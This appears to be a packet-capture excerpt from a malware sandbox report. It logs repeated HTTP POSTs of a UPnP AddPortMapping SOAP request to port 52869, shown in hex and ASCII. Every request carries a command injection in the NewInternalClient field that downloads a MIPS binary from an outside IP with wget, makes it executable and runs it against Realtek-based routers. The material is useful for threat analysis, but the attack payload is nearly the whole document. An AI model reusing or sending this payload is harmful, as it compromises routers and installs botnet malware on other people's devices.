                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:13.978423119 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.553715944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704204082 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      30192.168.2.154162845.121.213.16752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:51.856558084 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:53.466921091 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:55.354887009 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
